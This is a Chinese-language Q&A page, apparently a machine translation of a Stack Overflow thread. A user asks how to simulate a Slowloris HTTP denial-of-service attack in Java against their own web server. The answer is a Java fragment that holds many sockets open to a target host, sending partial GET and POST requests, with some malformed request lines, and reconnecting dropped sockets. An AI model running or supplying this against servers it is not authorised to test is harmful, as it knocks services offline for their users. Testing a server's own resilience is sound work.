Java - 模拟Slowloris HTTP DoS攻击
问题描述:
我需要编写java代码测试,以模拟我的Web服务器上的Slowloris HTTP DoS攻击。 我发现了一个perl代码,可以这么做:http://ha.ckers.org/slowloris/Java - 模拟Slowloris HTTP DoS攻击
我的环境不是恒定的,这意味着我无法保证在机器上安装了活动perl。 是否有另一种方法来做到这一点? 有没有一种方法可以使用jerl(https://code.google.com/p/jerl/)来做到没有主动perl安装(也许我可以将所需的*添加到我的java项目?)?
答
switch (dosMethod) {
case GET:
while(!StopWorking)
{
for(int i=0;i<per_Thread;i++)
{
if(socks[i].isConnected())
{
try
{
PrintWriter pw = new PrintWriter(socks[i].getOutputStream());
pw.println("GET/HTTP/1.1");
pw.println("Host: " + hp.getHostText());
pw.println();
pw.flush();
}
catch (Exception e){}
}
else
{
try {
socks[i] = new Socket(InetAddress.getByName(hp.getHostText()), hp.getPort());
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
break;
case POST:
for(int i=0;i<per_Thread;i++)
{
try {
socks[i].close();
} catch (IOException e) {
e.printStackTrace();
}
}
while(!StopWorking)
{
for(int i=0;i<per_Thread;i++)
{
if(socks[i].isConnected())
{
try {
PrintWriter pw = new PrintWriter(socks[i].getOutputStream());
pw.println();
} catch (IOException e) {
e.printStackTrace();
}
}
else
{
try {
socks[i] = new Socket(InetAddress.getByName(hp.getHostText()), hp.getPort());
PrintWriter pw = new PrintWriter(socks[i].getOutputStream());
pw.println("POST/HTTP/1.1");
pw.println("User-Agent: %s");
pw.println("Connection: keep-alive");
pw.println("Keep-Alive: 900");
pw.println("Content-Length: 10000");
pw.println("Content-Type: application/x-www-form-urlencoded");
pw.println();
pw.flush();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
break;
}
其中袜子是(套接字的数组插座[]袜子=新的Socket [connsperthread];